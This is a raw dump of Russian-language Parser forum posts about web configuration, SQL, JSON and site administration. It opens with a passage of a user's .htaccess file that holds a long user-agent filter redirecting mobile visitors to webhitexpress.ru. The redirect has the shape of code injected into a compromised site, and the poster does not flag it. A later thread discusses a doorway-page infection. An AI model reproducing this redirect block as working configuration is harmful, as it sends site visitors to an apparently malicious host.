RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} play [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} port [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} send [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} ipod [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} iPod [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} Moby [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} Mobi [NC,OR]\
RewriteCond %{HTTP_ACCEPT} \"text/vnd.wap.wml|application/vnd.wap.xhtml+xml\" [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]\
RewriteCond %{HTTP_USER_AGENT} !bsd [NC]\
RewriteCond %{HTTP_USER_AGENT} !x11 [NC]\
RewriteCond %{HTTP_USER_AGENT} !unix [NC]\
RewriteCond %{HTTP_USER_AGENT} !macos [NC]\
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]\
RewriteCond %{HTTP_USER_AGENT} !playstation [NC]\
RewriteCond %{HTTP_USER_AGENT} !google [NC]\
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]\
RewriteCond %{HTTP_USER_AGENT} !bot [NC]\
RewriteCond %{HTTP_USER_AGENT} !libwww [NC]\
RewriteCond %{HTTP_USER_AGENT} !msn [NC]\
RewriteCond %{HTTP_USER_AGENT} !america [NC]\
RewriteCond %{HTTP_USER_AGENT} !avant [NC]\
RewriteCond %{HTTP_USER_AGENT} !download [NC]\
RewriteCond %{HTTP_USER_AGENT} !fdm [NC]\
RewriteCond %{HTTP_USER_AGENT} !maui [NC]\
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]\
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]\
RewriteRule ^(.*)$ http://webhitexpress.ru/in.cgi?2 [L,R=302]\
\
\
RewriteRule   ^my$  /parser/page.p?templatename=template1.shtml [QSA]\
RewriteRule   ^my/(.*)$  /my?id=$1 [QSA]\
\
#RewriteRule   ^$  /parser/page.p?templatename=template1.shtml [QSA]\
RewriteRule   ^index2$  /parser/page.p?templatename=template1.shtml [QSA]\
RewriteRule   ^$  /index.shtml [QSA]\
\
RewriteRule   ^about/(.*)$ /parser/page.p?templatename=template1.shtml&id=$1 [QSA]\
RewriteRule   ^about$  /parser/page.p?templatename=template1.shtml [QSA]\
\
RewriteRule   ^index$  /parser/page.p?templatename=template1.shtml [QSA]\
RewriteRule   ^stat$  /parser/page.p?templatename=template1.shtml [QSA]\
\
RewriteRule   ^publications$  /parser/page.p?templatename=template1.shtml [QSA]\
RewriteRule   ^publications/article-([0-9]*)$ /publications?article=$1 [QSA]\
RewriteRule   ^publications/(.*)/article-([0-9]*)$ /publications?rubrik=$1&article=$2&id=$1 [QSA]\
RewriteRule   ^publications/article-([0-9]*)/page-([0-9]*)$ /publications?article=$1&page=$2 [QSA]\
RewriteRule   ^publications/(.*)/article-([0-9]*)/page-([0-9]*)$ /publications?rubrik=$1&article=$2&id=$1&page=$3 [QSA]\
RewriteRule   ^publications/page-([0-9]*)$ /parser/page.p?templatename=template1.shtml&page=$1 [QSA]\
RewriteRule   ^publications/(.*)/page-([0-9]*)$ /publications?id=$1&rubrik=$1&page=$2 [QSA]\
RewriteRule   ^publications/(.*)$ /parser/page.p?templatename=template1.shtml&id=$1&rubrik=$1 [QSA]\
\
RewriteRule   ^contact$  /parser/page.p?templatename=template1.shtml [QSA]\
\
#RewriteRule   ^price/position-([0-9]+)$	/price?showpos=yes&posid=$1 [QSA]\
#RewriteRule   ^price/position-([0-9]+)$	/parser/page.p?templatename=template1.shtml&showpos=yes&posid=$1\
#RewriteRule   ^price/position-([0-9]+)-([0-9]+)$	/price?showpos=yes&agentid=$1&posid=$2 [QSA]\
#RewriteRule   ^price/position-([0-9]+)-([0-9]+)$	/parser/page.p?templatename=template1.shtml&showpos=yes&agentid=$1&posid=$2 [QSA]\
\
#RewriteRule   ^price/position-([0-9]+)$	/price?showpos=yes&posid=$1 [QSA]\
#RewriteRule   ^price/position-([0-9]+)$	/parser/page.p?templatename=template1.shtml&showpos=yes&posid=$1\
#RewriteRule   ^price/position-([0-9]+)-([0-9]+)$	/price?showpos=yes&agentid=$1&posid=$2 [QSA]\
#RewriteRule   ^price/position-([0-9]+)-(.*?)$	/parser/page.p?templatename=template1.shtml&showpos=yes&agent=$1&posid=$2 [QSA]\
#RewriteRule   ^price/position-(privat)-(.*?)$	/parser/page.p?templatename=template1.shtml&showpos=yes&agent=$1&posid=$2 [QSA]\
\
RewriteRule   ^price/position-(privat)-(.*)$	/parser/page.p?templatename=template1.shtml&showpos=yes&agent=$1&posid=$2 [QSA]\
RewriteRule   ^price/position-([0-9]+)-(.*)$	/parser/page.p?templatename=template1.shtml&showpos=yes&agent=$1&posid=$2 [QSA]\
RewriteRule   ^price/position-([0-9]+)$	/parser/page.p?templatename=template1.shtml&showpos=yes&posid=$1\
\
\
\
\
RewriteRule   ^search$ /parser/page.p?templatename=template1.shtml&search=yes [QSA]\
RewriteRule   ^cooperate$  /parser/page.p?templatename=template0.shtml [QSA]\
\
RewriteRule   ^price/rubrikator$  /parser/page.p?templatename=template1.shtml&showrubrikator=yes [QSA]\
RewriteRule   ^price/customize$  /parser/page.p?templatename=template1.shtml&customize=yes [QSA]\
RewriteRule   ^price/search$  /parser/page.p?templatename=template1.shtml&search=yes [QSA]\
\
RewriteRule   	^price(.*)/savemarked$		/price$1?save=yes&savemarked=yes [QSA]\
RewriteRule	^price(.*)/marked$		/price$1?view=yes&savemarked=yes [QSA]\
RewriteRule	^price(.*)/printmarked$        /price$1?print=yes&savemarked=yes [QSA]\
RewriteRule   	^price(.*)/page-([0-9]+)$	/price$1?page=$2 [QSA]\
RewriteRule   	^price(.*)/view-(.*)$	/price$1?regim=$2 [QSA]\
RewriteRule   	^price(.*)/order-(desc-)*(.*)$	/price$1?sort=$3&desc=$2 [QSA]\
RewriteRule   	^price(.*)/city:(.*):(.*)$	/price$1?city=$2&property=$3 [QSA]\
RewriteRule	^price(.*)/city:(.*)$	/price$1?city=$2 [QSA]\
RewriteRule	^price/(.*)$	/price?rubrik=$1 [QSA]\
RewriteRule   	^price$  /parser/page.p?templatename=template2.shtml [QSA]\
\
# &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;\
RewriteRule	^/my/edit:([0-9]*)$	/my/edit?editregim=edit&offset=$1\
RewriteRule	^/my/edit:add$	/my/edit?editregim=add\
RewriteRule	^/my/edit:send$	/my/edit?editregim=send\
RewriteRule	^/my/edit-uuid:(.*)$	/my/edit?editregim=edit&new=yes&uuid=$1\
#RewriteRule	^/my/edit:new$	/my/edit?editregim=edit&new=yes\
\
RewriteRule   ^wanted$  /parser/page.p?templatename=template1.shtml [QSA]\
RewriteRule   ^wanted/page-([0-9]*)$ /parser/page.p?templatename=template1.shtml&page=$1 [QSA]\
RewriteRule   ^wanted/(.*)/page-([0-9]*)$ /publications?id=$1&rubrik=$1&page=$2 [QSA]\
RewriteRule   ^wanted/(.*)$ /parser/page.p?templatename=template1.shtml&id=$1&rubrik=$1 [QSA]\
\
а вот куда он обращается page.p\
\
@main[]\
^template:showtemplate[/templates/${form:templatename}]\
\
Самое интересное что на старом хостинге все работает"
"77733","какая версия парсер у вас на старом хостинге? \
наверняка не такая, какую вы поставили тут, а что-нить до 3.4.0.\
\
думаю, что если вы скачаете и поставите ту-же версию, то всё заработает.\
и проблема не в .htaccess и не в том, что парсер не назначен обработчиком, а в том, что файлы, которым вы делаете \"include\" -- \"грязные\", поэтому парсер не выполняет их содержимое.\
\
в общем надо или взять ту-же версию парсера (на сайте всё выложено, правда вам придётся \"угадать\" ссылку или воспользоваться веб-архивом) или править код, добавляя taint[as-is] в нужные места."
"77734","Здравствуйте.\
\
Делаю свой первый проект на Parser.\
Столкнулся с таким вопросом:\
Как сделать отдельную страницу для каждой новости?\
Выполнил [url=\"http://www.parser.ru/docs/lang/?lesson5.htm\"]урок[/url], но получаю все материалы на одной странице, а хотелось бы получать отдельную новость, например на странице /news/1 или /news/ЧПУ (человеко-понятный-урл).\
\
Кстати, и как выводить новости на странице /news/, например, по 10 шт.?"
"77735","Стоит начать с изучения SQL, наверное, чтобы уметь писать и модифицировать самые простые запросы :)\
\
Ключом к выводу либо 10 новостей либо какой-то конкретной будет изменение запроса здесь:\
\
^MAIN:dbconnect{ \
   $messages[^table::sql{select author, email, date, body from gbook}] \
} \
\
Для 10 новостей:\
\
select author, email, date, body from gbook order limit 10\
\
Для 1 новости, например:\
\
select author, email, date, body from gbook where id = '$form:id'\
\
Соответственно, понадобится отдельная страница где не будет формы, а будет отдельная новость, ну и ссылки туда надо будет формировать с соответствующей переменной типа show.html?id=$id\
\
По поводу ЧПУ можно почитать http://ruseller.com/lessons.php?rub=29&id=740 (если все делаете на Денвере или Апаче)"
"77736","А какую литературу можно почитать по SQL?\
Находил какую-то обобщённую.. без конкретики.."
"77737","Попробуйте MariaDB"
"77738","Взялся оформлять чекбоксы при помощи плагинов для оформления форм.\
Файрфоксный дебаггер выдает следующее:\
[quote]Error: Syntax error, unrecognized expression: [for=auth.persistent] @ http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js:3[/quote]\
\
Эта ошибка возникает и в версии jQuery 1.7.2 и в 1.8.2.\
Вероятно потому что \"name\" элемента содержит точку.\
Тут на ум приходят 2 варианта:\
- либо это недочет в jQuery,\
- либо не правильно использовать точку в поле \"name\"."
"77740","Вот вам в помощь\
http://www.sql-ex.ru/\
http://www.sql-ex.ru/help/select0.php"
"77741","Нашел пример:\
[code]#Подключаемся к Outlook\
$outlook = New-Object -ComObject Outlook.Application\
$mapi = $outlook.GetNamespace(\"MAPI\")\
#Получаем папку контактов\
$Contacts = $mapi.GetDefaultFolder(10).Items\
$Contacts | ForEach { \
   if ($_.Mileage -match \"1\" ) {\
      if ($_.BusinessHomePage -match \"http://company.com/\" ) {\
         Write-Host \" Импортированный контакт \" $_.LastName $_.Email1Address  -ForegroundColor blue ; $_.delete()\
      }\
   }\
   else {\
      Write-Host \" Пользовательский контакт \" $_.LastName $_.Email1Address  -ForegroundColor Red\
   }\
}[/code]\
Реально ли сделать то же самое на Парсере? Хотя бы первые 3 строки."
"77742","Парсер позиционируется как многоплатформенное ПО. То есть можно взять код, списать его с Windows на Unix, все будет работать. Поэтому поддержки специфичных API Windows, в частности поддержки COM даже и в планах нет. Разве что кто-нибудь напишет."
"77744","Понятненько. Значит буду парсером собирать индивидуальный вбс-скрипт, который будет потом выполняться на стороне клиента, добавляя контакт в адресную книгу аутлука."
"77745","Может кому-то еще будет нужно:\
\
/usr/local/bin/curl --url http://mmasters.pro/subsribe/send.html >/dev/null 2>&1\
\
Такая конструкция была опробована через панель ISPManager."
"77746","Привет.\
Подскажите, можно ли получать id только что вставленного поля без дополнительных запросов? MySQL при инсерте возвращает Inserted row id: 21, однако подобный код не работает:\
\
[code]\
$id(^int:sql{INSERT INTO table (family, name) VALUES ('$family', '$name')})\
$id\
[/code]\
\
Запись добавляется, а парсер выдает ошибку \"produced no result, but no default option specified\"\
Primary key в таблице есть."
"77747","... ведь результат вам не нужен.\
А ответ про \" Inserted row id: 21\" вам пишет клиент MySql.\
Если нет многих одновременных запросов к базе (вставка не многопоточная), то можно вторым запросом получить через select LAST_INSERT_ID() при условии что поле primary key и autoincrement.\
Или select max(key_field) from my_table\
\
Но лучше так не делать и использовать блокировки и транзакции. Это спасёт от \"состояния гонки\", которое выскочит уж совсем неожиданно."
"77748","LAST_INSERT_ID() работает в рамках одной сессии, т.е. если запросы и будут много поточные, то он все равно вернет верное значение, т.к. другие вставки будут в других сессиях."
"77749","как раз таки результат и нужен. \
То, что Inserted row id: 21 пишет клиент MySQL это понятно.\
\
Вопрос как раз в том, как обойтись без второго запроса, ведь mysql то возвращает значение.\
\
Скажем, в пхп, в ответ на инсерт приходит добавленный id — на парсере так не сделать, получается?"
"77750","Конечно в рамках сессии всё будет верно.\
\
Про PHP - вроде был mysql_insert_id, но он использует как раз имеющийся коннект, и видимо, отдельным запросом того самого, что писал ранее. \
\
А явного возврата id при вызове из PHP insert-а что-то не припомню, только TRUE или FALSE если память не подводит."
"77751","[code]^int:void{INSERT INTO table (family, name) VALUES ('$family', '$name')}\
$id(^int:sql{SELECT LAST_INSERT_ID() FROM table})[/code]\
\
Ничего страшного в двух запросах нет."
"77752","Напишите код, который так делает в php."
"77754","К сожалению PHP не использует дополнительный запрос в mysql_insert_id :("
"77755","[code]\
<?\
    mysql_connect(\"localhost\", \"mysql_user\", \"mysql_password\") or\
        die(\"Could not connect: \" . mysql_error());\
    mysql_select_db(\"mydb\");\
\
    mysql_query(\"INSERT INTO mytable (product) values ('kossu')\");\
    printf (\"Last inserted record has id %d\\n\", mysql_insert_id());\
?>\
[/code]"
"77757","при нажатии кнопки открывалось программа с параметром..\
\
\"C:\\Program Files\\Radmin Viewer 3\\Radmin.exe\" /connect:192.168.1.1:4899\
\
???\
\
что то вроде как пуск выполнить... \
но через html ? или java ?"
"77768","ДД!\
\
Никак не соображу как передать  true/false в JSON\
\
[code]^rTable.append{$ID^#09$lName^#09false^#09true} \
^json:string[$rTable][/code]\
возвращает false и true обрамленными в кавычки\
\
[code] $lTrue(true)\
 $lFalse(false)\
^rTable.append{$ID^#09$Name^#09$lFalse^#09$lTrue} [/code]\
[quote]bool may not be overwritten with bool, store it to variable instead[/quote]"
"77769","значения у table -- строки и только строки. вы не можете записать в таблицу что-либо кроме строк.\
а строка \"true\" -- это не то-же самое, что bool-значение true.\
\
и json:string правильно делает, заключая строки true и false в кавычки.\
\
P.S. если вы положите bool-значения в хэш -- то json:string их выдаст правильно, без кавычек."
"77770","[quote]P.S. если вы положите bool-значения в хэш -- то json:string их выдаст правильно, без кавычек.[/quote]\
\
спасибо"
"77771","Может проще пользоваться цифрами?\
[code]i = 0\
i == true\
false\
i = 1\
i == true\
true[/code]"
"77772","Ув. специалисты по Parser!\
\
Помогите, пожалуйста.\
\
Имеем «кривой» редирект с domain.ru. Например, при запросе документа domain.ru/robots.txt (именно без www.) идет реврайт на domain.rurobots.txt/ (обратите внимание, что исчезает слэш после имени домена, и появляется после имени файла, превращая его в директорию).\
\
В корневом .htaccess:\
\
======================================================================\
\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3.cgi\
\
SetEnv CGI_PARSER_LOG /opt/clients/domain.ru/logs/parser3.log \
PassEnv CGI_PARSER_LOG\
\
Options +Indexes\
DirectoryIndex index.php index.htm index.html\
\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>\
\
RewriteEngine On\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule ^(buy|service)/(.*)/?$	$1/?city=$2\
\
redirect /catalog. /catalog/products/superproduct/\
redirect /catalog/ /catalog/products/superproduct/\
redirect /catalog  /catalog/products/superproduct/\
	\
RewriteRule ^(.+).pdf$ /getfile.html?file=$1.pdf\
RewriteRule ^(.+).pdf$ /getfile.html?file=$1.zip\
RewriteRule ^(.+).pdf$ /getfile.html?file=$1.rar\
\
ErrorDocument 404 /404/\
ErrorDocument 403 /404/\
\
======================================================================\
\
Что интересно, при удалении корневого файла .htaccess ничего не меняется. Что указывает на то, что проблема или в сервере, или в парсере (ну или не самом парсере, а его скриптах/настройках). Но в конфиге самого Apache ничего найти не удалось. Например, вот фрагмент httpd.conf:\
\
======================================================================\
\
<VirtualHost *:80>\
    ServerName domain.ru\
    ServerAlias  www.domain.ru\
    DocumentRoot /www\
    ErrorLog /logs/domain.ru.error_log\
    CustomLog /logs/domain.ru.access_log combined\
    AddDefaultCharset UTF-8\
</VirtualHost>\
\
======================================================================\
\
В остальном httpd.conf стандартный.\
\
Помогите, пожалуйста. Я не гуру в этих делах, но с вашей помощью надеюсь все сделать."
"77773","Редирект сам собой не происходит. Парсер тут не при чем, с включенным .htaccess он обрабатывает только .html файлы, без .htaccess - не обрабатывает ничего. В .htaccess вижу ошибки, но такого редиректа в нем понятно нет."
"77774","Парсер у вас является обработчиком html, а в пример вы приводите robots.txt, значит проблема скорее всего не в парсере. На всякий случай поищите в файлах конструкции response:location и response:fresh\
\
В настройках апача вроде никакого криминала нет, по крайней мере по отношению к robots.txt."
"77775","bug.html:\
[code]@main[]\
^call{^throw[111;222]}\
\
@call[*args]\
^if(^args._at(0)){y}{n}[/code]\
\
Получаю Unhandled exception 0xC0000005 at 0x00000000.\
Windows 7 64, Parser/3.4.2 (compiled on i386-pc-win32).\
\
\
Bопрос вдогонку: нельзя ли добавить возможность просто проверить передан ли параметром junction?\
Сейчас работает только для переданных методов.\
Дабы можно было сделать так:\
[code]@main[]\
^call{^throw[111;222]}\
\
@call[code]\
^if($code is junction){y}{n}[/code]"
"77776","Здравствуйте! Спасибо! Да, я тоже считаю, что дело вроде как не в Parser. Не понятно только в чем. В httpd.conf ничего нет про www. .htaccess в корне не влияет. Единственное, не смотрели conf.d. Есть еще потайные места у Апача?"
"77777","В httpd.conf обычно включаются и другие файлы, последнее время у каждого загружаемого модуля есть свой конфиг. Ищите, чудес не бывает."
"77778","junction взрывается как только его трогают, не получается проверить, [url=\"http://www.parser.ru/forum/?id=48283\"]когда-то уже обсуждалось[/url]."
"77779","Скажите пожалуйста, меня интересует, чтобы скрипт скачивал (каждый день) с сайтов поставщиков большие файлы заархивированных прайслистов.\
Как это реализовывается?\
Разархивировать, как я понимаю, можно из exec запустив архиватор с ключами...\
А вот скачать файл как? ведь он может скачиваться 10-20 минут. Только потом должно запустится разархивирование. И только потом обработчик прайслиста, который закинет данные в базу...\
Подскажите плиз, как реализовать это?"
"77780","Если речь о линуксе:\
1. cron -> shell-script\
2. curl/wget\
3. разархивирование\
4. обработка и заливка в базу\
\
Парсер, если и понадобится, то только в 4-ом пункте.\
В каждом пункте проверяем статус выполнения, ведём логи ошибок для последующей отладки."
"77781","первые 3 пункта не делал. Спасибо за наводку. изучим."
"77782","Исправлено в 3.4.3b 29 июля 2012. Бинарники доступны в ночных сборках http://www.parser.ru/download/nightly/."
"77783","а curl от парсера не подходит, как я понимаю, потому что время работы скрипта ограничено. Верно?"
"77784","Если запускать парсер из крона (шелл-скрипта), а не через веб-сервер, то время по сути не ограничено.\
Но надо понимать, что при стачивании файла парсер сохраняет его полностью в оперативную память, а только потом на диск. Не важно, file::load это или парсерный класс curl.\
Если файлы большие, то это необоснованное расходование ресурсов на долгое время (при медленном соединении).\
Линуксовые curl/wget сохраняют файл сразу на диск."
"77786","^if([b]мобила[/b] || def $cookie:mobile){мобильный сайт}{стационарный сайт}\
\
Хочется чего-нибудь [b]простого[/b] и универсального как [url=\"http://habrahabr.ru/post/113910/\"]meta.txt[/url].\
\
Какие могут быть быстрые способы?\
\
Спасибо."
"77789","Но способ есть, ищите в форуме — обсуждалось десятки раз."
"77790","Случай-то не уникальный, потребность общая, наше дело правое, бла-бла.\
\
Задача в создании парсерного способа пользоваться детектором Яндекса. Надо получить яндексовский ответ в переменной для его дальнейшего распарса. Типа, $otvetyandexa[[b]код[/b]].\
\
На PHP [url=\"http://api.yandex.ru/detector/doc/dg/reference/php-samples.xml\"]код такой[/url]:\
\
[b]<?php\
$headers = '';\
foreach ($_SERVER as $key => $value) {\
   if (strpos($key, 'HTTP_') === 0 && $key != 'HTTP_HOST' && $key != 'HTTP_CONNECTION') {\
       $key = strtolower(strtr(substr($key, 5), '_', '-'));\
       $headers .= $key . ': ' . $value . \"\\r\\n\";\
   }\
}\
$opts = array(\
 'http'=>array(\
   'method'=>\"GET\",\
   'header'=> $headers,\
 )\
);\
echo file_get_contents('http://phd.yandex.net/detect', false, stream_context_create($opts));\
?>[/b]"
"77791","Запрос:\
[code]SELECT COUNT(*)\
FROM stats\
group by ip[/code]\
Ответ:\
[code]\"COUNT(*)\"\
143\
5\
1\
1\
1\
7\
1\
1\
1\
1\
27\
27\
1\
1\
5\
470\
1\
1[/code]\
Как сделать, чтобы результатом было кол-во строк этого ответа?"
"77792","возвращаюсь к проблеме описанной в http://www.parser.ru/forum/?id=77375\
\
теперь попался другой символ (0x0B)\
\
никак не могу придумать как из UTF8 базы передать в JSON эти строки, чтобы javaвский ajax не выпадал с ошибкой parse error.\
\
возможно нужно использовать ^apply-taint[] ? если да, то с каким видом преобразования?"
"77793","что-то типа:\
[code]\
^str.match[([\\x00-\\x1f])][g]{\\u00^match.1.format[%02x]}]\
[/code]\
\
а вообще проблема понятна, что-нить сделаем."
"77794","select count(distinct ip) from stats"
"77795","Про классы file (конструктор load), env и request. Задача решается в одну строчку."
"77798","Странно!\
Перенесли сайт на новый сервер.\
Всё работает ок. Но когда в базу идет сохранение русских букв появляются одни знаки вопроса.\
строка подключения к БД\
mysql://zzz1:zzz@localhost/zzz_db1?charset=cp1251\
Кодировка указана.\
У файлов кодировка тоже 1251.\
Установлено\
[code]$request:charset[windows-1251]\
$response:charset[windows-1251][/code]\
И почта с сайта приходит в нужной кодировке.\
Но как только происходит в БД INSERT INTO сразу все русские буквы превращаются в вопросы.\
В чем может быть проблема?"
"77800","[code]ALTER DATABASE `bd1` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;[/code]"
"77801","Здравствуйте!\
У меня булевский тип Postgre идет в строковый тип парсера со значениями t и f, а должен бы в булевский тип парсера.\
Версия парсера, драйвера pgsql последние.\
Это баг, фича, неправильное использование (выберите нужное)? Пример могу привести, но, наверное, он тривиален."
"77802","Это не баг и не фича, просто так сделано по-умолчанию. Настройками не изменить.\
Если хочется получать циферки, то нужно использовать кастование:\
SELECT bool_column::int FROM ..."
"77803","А не проще поставить тип инт и размер 1?\
0 = false\
1 = true"
"77804","Это Postgre. Насколько знаю, там такого нет."
"77805","Хотелось бы не циферки и не чиселки, а тип bool."
"77806","Если да, то в парсерных таблицах хранятся только строки, других типов там быть не может..."
"77807","Если таблицы, то как сказал МоКо, там действительно только строки.\
Другое дело, что даже в таблице приятнее обрабатывать флаги как 0/1, чем как t/f."
"77808","Integer в Постгресе нет?:-)\
Есть конечно, но для флагов разумнее использовать boolean.\
А ещё можно создать свой собственный тип bool, который будет работать как 0/1 или true/false или как угодно вообще."
"77809","Да, про него или про hash. Понятно. Не может так не может."
"77810","Ок, спасибо за ответ."
"77811","Столкнулся на своих сайтах с САБЖ сразу на нескольких.\
\
На некоторых сайтах кроме ckeditor больше нет никаких яваскриптов и те под паролем апача. Флеша тоже нет. Что уж говорить, на некоторых даже нет никаких форм.\
\
Пока не думаю о дыре в Parser, хотя не исключаю.\
\
фтп, ссаш пароли сменил, буду наблюдать...\
\
Для обоих случаев характерно: все дорвеи лежат в папке img, там откуда-то появляется файлик image.php с base64 контентом (внутренность не декодировал)\
\
Если кто-то сталкивался с подобным, что еще можно посмотреть? куда копнуть? чтобы избавиться от этого зла"
"77812","... но не на хостинге, а на клиентском ФТП. Банально подобрали пароли и залили пакость во все папки. :)"
"77813","Добрый день. Столкнулся с проблеммой - не могу восстановить или изменить пароль. При попытке восстановления через емеил, письмо не приходит. В базе же пароли хранятся не в md5 как обычно, а я насколько понял через crypt. Как можно изменить пароль на админа через базу? если вставляю результат через пхп функцию crypt пароль не совпадает все равно... что делать?"
"77814","Смотри логи ftp за дату создания проблемных файлов, по ним обычно все видно, кто и когда. А ftp пароли обычно добываются вирувами с компов, где эти пароли хранятся. В частности поэтому у нас почти везде доступы к сайтам ограничены по IP адресам."
"77816","А можно больше информации? какая база, что за пароли?"
"77817","База стандартная MySQL. Пароль пользователя. Потеряли пароль и теперь не можем ни восстановить, ни поменять его. Что делать?"
"77818","Пароль пользователя Mysql? в смысле пользователя базы?"
"77819","нет, пароль пользователя администратора сайта"
"77820","Ну так найти в коде где этот пароль задается и просто его сгенерить"
"77821","меня собственно и интересует вопрос. каким методом генерится пароль и хранится в базе? явно тут не md5 а похоже на crypt с каким-то salt. вот хочу узнать какой... что бы можно было внести в базу запись и залогиниться тогда"
"77823","то там там же есть файлик который умеет менять пароль )"
"77824","можно попробовать такой хак (возможно не сработает):\
1. регистрируете нового пользователя с новым паролем\
2. средствами БД копируете хэш пароля нового пользователя вашему администратору (предварительно сделав copy/paste в текстовый файл старого пароля)\
3. пробуете залогиниться администратором с новый паролём"
"77825","да у меня тоже была мысль с регистрацией через сайт нового пользователя и уже его пароль записать админку. Но на сайте нет регистрации пользователей, а в логине админки, тоже нет возможности зарегить пользователя."
"77826","класс auth есть, но тот ли он, я не знаю..."
"77828","Ребят, ну помогите нам, пожалуйста - мы уже двое суток мучаемся - и ничего не выходит.\
\
За восстановление пароля мы Вам переведём сразу на Яндекс-деньги 300 руб.\
\
У нас ещё тут таких же 2 сайта, поэтому Вы нам хотябы с одним поможете, а дальше мы по - аналогии попробуем восстановить доступ к другим сайтам самостоятельно.\
\
Кто готов помочь - пишите на почту: vad@dizayn-saytov.ru - мы вышлем Вам доступы. \
\
Заранее большое спасибо!"
"77829","если у вас используется мой класс auth.p, то достаточно скачать архив, распаковать локально, залить на сервер файл _auth_setpwd.html и через него задать пароль админу.\
\
в файле простейший код и 1 sql запрос, который устанавливает пароль."
"77830","а где этот архив можно скачать?"
